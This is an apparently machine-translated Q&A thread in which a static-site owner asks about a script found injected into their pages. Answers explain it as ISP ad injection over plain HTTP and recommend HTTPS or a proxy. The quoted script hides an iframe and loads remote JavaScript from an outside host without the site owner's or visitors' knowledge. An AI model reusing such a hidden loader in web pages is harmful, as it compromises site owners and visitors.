삽입된 JavaScript 코드가 업로드된 후에 표시되지 않도록 하는 방법은 무엇입니까?

삽입된 JavaScript 코드가 업로드된 후에 표시되지 않도록 하는 방법은 무엇입니까?

정적 웹사이트가 있습니다. 내 컴퓨터에서 로컬로 웹페이지를 업데이트한 다음 FileZilla를 사용하여 업로드합니다. 그러나 업로드한 후에는 내 페이지의 소스 코드를 검토하고 <head>. 스크립트는 페이지의 레이아웃이나 표시되는 콘텐츠를 변경하지 않으므로 어떤 작업을 수행하는지 모르겠습니다.

<script>
    if (top == window) {
        var engageNameSpace = "engagens";
        "undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
            function e(e) {
                return "undefined" != typeof e && null !== e
            }

            function t() {
                var t = document.createElement("script");
                t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
            }

            function n() {
                var t = r();
                if (e(t)) {
                    var n = t;
                    i() && (n = d(t));
                    var o;
                    try {
                        o = document.documentElement, o.appendChild(n)
                    } catch (c) {
                        o = document.body, o.appendChild(n)
                    }
                    a()
                }
            }

            function a() {
                function e(e) {
                    var n = e.data;
                    "l8IframeIsReady" === n.message && t()
                }
                window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
            }

            function r() {
                var t = document.createElement("iframe");
                if (e(t)) {
                    t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
                    var n = /firefox/i.exec(navigator.userAgent);
                    e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
                }
                return t
            }

            function i() {
                var t = !1,
                    n = /android (\d+)/i.exec(navigator.userAgent);
                return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
            }

            function d(e) {
                var t = document.createElement("div");
                return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
                    return !0
                }, t.appendChild(e), t
            }

            function o() {
                var t = void 0,
                    a = this,
                    r = function() {
                        e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
                    };
                t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
            }
            var c = "http://globe.moreforme.net",
                u = c + "/l8/EngageService?v=1",
                s = c + "/scripts/Engage.js";
            o()
        };
        var engageLoader = new window[engageNameSpace].engageLoader
    }
</script>

스크립트의 URL을 확인한 결과 http://globe.moreforme.net해당 스크립트가 ISP(Globe)에서 제공되었을 가능성이 가장 높다는 것을 깨달았습니다. 나는 인터넷 보안의 초보자이기 때문에 처음에 스크립트가 어떻게 거기에 도착했는지 모릅니다. 내 사이트는 정적 HTML입니다. 페이지가 업로드된 후 해당 스크립트가 소스 코드에 표시되지 않도록 하려면 어떻게 해야 합니까?

편집하다:

이것을 찾았습니다링크이는 스크립트를 작성하기 위한 템플릿 코드인 것 같습니다. 스크립트가 무엇을 하는지 아는 사람이 있나요?

답변1

첫째, 이는 HTTPS 대신 HTTP를 사용하기 때문에 작동합니다.

ISP는 이 스크립트를 삽입한 다음 이를 사용하여 다른 스크립트(iframe에서?)를 동적으로 로드합니다.

어떤 이유로든 스크립트를 호스팅하는 Globe.moreforme.net으로 이동할 수 없습니다. Globe.moreforme.ph로 리디렉션되므로 ISP를 사용하는 사람들만 Globe.moreforme.net을 사용할 수 있습니다.

이제 추측을 해보자면... ISP는 동적으로 로드된 스크립트를 사용하여 귀하가 방문하는 페이지의 광고를 하이재킹하여 스스로 레뷰를 주장하고 있다고 말하고 싶습니다.

HTTPS 사이트만 사용하거나 SSH를 조사하여 보안 SOCKS5 프록시(VPS에 매우 저렴하게 설정하는 것은 어리석은 일임)를 사용하여 이를 방지할 수 있습니다 Dynamic Port Forwarding. 또는 국가 전체에 방화벽이 있는 국가(중국)에 있는 경우 ShadowSocks를 살펴볼 수도 있습니다.

답변2

이는 Globe Telecom이 사악한 Flash Networks와 협력하여 광고를 추가하고 아마도 다른 사람의 광고를 해킹하여 고객이 로드하는 페이지를 수정한 결과입니다.

이것의 적법성은 의심스럽습니다. 적어도 저작권법을 위반해야 합니다. 하지만 필리핀 관할권을 고려하면 법적으로 할 수 있는 일은 없다고 생각합니다.

이는 모든 사이트가 HTTPS를 사용하고 HTTP를 비활성화해야 하는 이유이기도 합니다(그렇지 않으면 HTTPS로 리디렉션). 현재는 DNS 이름에 대한 SSL 인증서를 무료로 얻을 수 있는 여러 가지 방법이 있으며 이를 통해 Google 점수도 향상됩니다.

관련 정보